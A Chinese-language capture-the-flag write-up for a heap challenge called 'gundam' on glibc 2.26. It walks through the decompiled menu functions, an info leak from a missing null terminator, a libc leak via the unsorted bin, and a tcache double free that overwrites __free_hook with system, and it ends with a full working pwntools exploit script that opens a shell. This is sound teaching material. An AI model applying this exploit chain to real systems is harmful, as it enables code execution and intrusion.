高达?哪里有高达!
题目本身给了libc,版本为2.26,tcache很清楚自己又要被double free了
保护全开嘤嘤嘤
unsigned __int64 sub_AEA()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts(&s);
puts("1 . Build a gundam ");
puts("2 . Visit gundams ");
puts("3 . Destory a gundam");
puts("4 . Blow up the factory");
puts("5 . Exit");
puts(&s);
printf("Your choice : ");
return __readfsqword(0x28u) ^ v1;
}
一眼堆,增删查功能齐全,没有改,但多了一个Blow up the factory
__int64 sub_B7D()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
if ( (unsigned int)dword_20208C <= 8 )
{
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
buf = malloc(0x100uLL);
if ( !buf )
{
puts("error !");
exit(-1);
}
printf("The name of gundam :");
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
printf("The type of the gundam :");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 2 )
{
puts("Invalid.");
exit(0);
}
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;
for ( i = 0; i <= 8; ++i )
{
if ( !qword_2020A0[i] )
{
qword_2020A0[i] = s;
break;
}
}
++dword_20208C;
}
return 0LL;
}
看看增,发现malloc了两个chunk,大小分别为0x28,0x100,其中0x100的chunk用来存放gundam的名字,而0x28的chunk存放了gundam的型号,名字chunk的地址,标志位(值为1),推测这三个数据是一个结构体的成员。
此处有一个小细节,就是read函数读入输入后,没有填充\x00截断,这意味着我们可能可以利用这一点进行内容的泄露
__int64 sub_EF4()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
if ( dword_20208C )
{
for ( i = 0; i <= 8; ++i )
{
if ( *((_QWORD *)&qword_2020A0 + i) && **((_DWORD **)&qword_2020A0 + i) )
{
printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&qword_2020A0 + i) + 8LL));
printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&qword_2020A0 + i) + 16LL));
}
}
}
else
{
puts("No gundam produced!");
}
return 0LL;
}
看看查,用的printf输出内容,遇到\x00才截断,可能作为泄露的工具
__int64 sub_D32()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( dword_20208C )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !*((_QWORD *)&qword_2020A0 + v1) )
{
puts("Invalid choice");
return 0LL;
}
**((_DWORD **)&qword_2020A0 + v1) = 0;
free(*(void **)(*((_QWORD *)&qword_2020A0 + v1) + 8LL));
}
else
{
puts("No gundam");
}
return 0LL;
}
看看删,先将标志位置0,然后把姓名空间free掉,注意到这里free之后没有更改gundam的数量,而gundam的总数量是有限的,而且也没有free掉0x28的结构体。
unsigned __int64 sub_E22()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 8; ++i )
{
if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )
{
free((void *)qword_2020A0[i]);
qword_2020A0[i] = 0LL;
--dword_20208C;
}
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
看看炸工厂,这里free掉了标志位为0的0x28chunk,同时把gundam的数量修正了
这是在说高达坏了工厂还能再产的意思吗XD
总体思路是:利用输出的漏洞泄露地址,然后根据泄露的地址想办法得到libc基址,最后double free tcache任意地址写改掉got表然后get shell
根据chunk结构,用户空间的首地址在chunk被free之后会写入chunk的bk和fd,如果我们控制输入的长度,并将释放掉的chunk重新申请回来的话,我们就可以在visit的时候,将chunk的bk连同输入一起输出出来。
问题是,我们需要一个什么地址呢?
tcache与fastbin类似,使用的是单链表的数据结构,bk处不会有地址。
而当tcache填满后(7个chunk),后续free的chunk将进入unsortedbin,而unsortedbin为双链表结构。
当只有一个chunk在unsortedbin中时,该chunk的bk与fd指针同时指向unsortedbin头节点,即main_arena+88,而main_arena到libc基址的偏移也是一个固定值(0x3dac78),就是说,只要泄露出unsortbin头节点的地址,我们就得到了libc的基址
所以这里我们只需要在申请到被释放的unsortedbin中的chunk时,输入8字节的数据,然后调用visit就可以泄露出unsortedbin的头节点地址
最后还存在一个问题,free掉chunk的时候,chunk可能会与topchunk合并而非进入各bin中,所以我们需要额外申请一个chunk来把topchunk和后面的chunk隔开
为了执行system(/bin/sh),我们需要写入"/bin/sh"字符串,然后覆盖一个函数地址为system函数地址,最后调用该函数并将"/bin/sh"字符串的地址传进去,纵观全局,有什么函数比free()更适合呢?所以我们覆盖libc中__free_hook的地址为system
后续我们需要malloc三次,所以需要先destroy三个gundam让程序的高达计数减三
不准拆我的高达呜呜呜
然后把最后一个gundam再destroy一次,构造衔尾蛇(bushi)
然后再申请gundam时,写入 __free_hook的地址 ,此时tcache中chunk1其实并没有被完全申请出来,但是该chunk的fd位已经被改为__free_hook的地址了
然后再malloc一次,顺便把"/bin/sh"字符串写入,chunk被完全malloc出tcache,但tcache的头节点此时已经指向__free_hook了,也就是说可以覆写__free_hook了
最后写入system地址,然后free掉写有"/bin/sh"字符串的chunk,相当于调用sytem(“/bin/sh”),成功get shell
from PwnContext.core import *
from pwn import *
context.log_level = 'debug'
# func
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './gundam'
# ctx.remote = ("challenge-72da0710cae9a987.sandbox.ctfhub.com",21739)
ctx.remote_libc = '/root/pwn/heap/gundam2.26/2.26/64bit/libc.so.6'
ctx.debug_remote_libc = True
ctx.start()
print("****************************************************************************************************")
print(ctx.libc.path)
print("****************************************************************************************************")
def build(name):
ctx.sendafter("Your choice : ", '1')
ctx.sendafter("The name of gundam :", name)
ctx.sendlineafter("The type of the gundam :", '1')
def visit():
ctx.sendafter("Your choice : ", '2')
def destory(idx):
ctx.sendafter("Your choice : ", '3')
ctx.sendlineafter("Which gundam do you want to Destory:", str(idx))
def exit():
ctx.sendafter("Your choice : ", '5')
def blowup():
ctx.sendafter("Your choice : ", '4')
elf = ELF('./gundam')
libc = ELF("./libc-2.26.so")
# fill tcache
# block topchunk
for i in range(9):
build(b"A"*8)
for i in range(8):
destory(i)
blowup() # clear factory
# dbg("tb *$rebase(0x10e6)")
for i in range(8):
build(b'C' * 8)
# dbg("b *$rebase(0xEF4)")
# leak
visit()
ru("Gundam[7] :CCCCCCCC")
unsorted_addr = u64(r(6).ljust(8,b"\x00"))
print("***********************" + hex(unsorted_addr))
libc_offset = 0x3dac78
libc_base = unsorted_addr - libc_offset # main_arena_addr
free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x47c46
print(hex(system_addr))
# dbg("b *$rebase(0x10e6)")
# cover
destory(2)
destory(1)
destory(0)
destory(0)
blowup()
build(p64(free_hook_addr))
build(b'/bin/sh\x00')
build(p64(system_addr))
destory(1)
irt()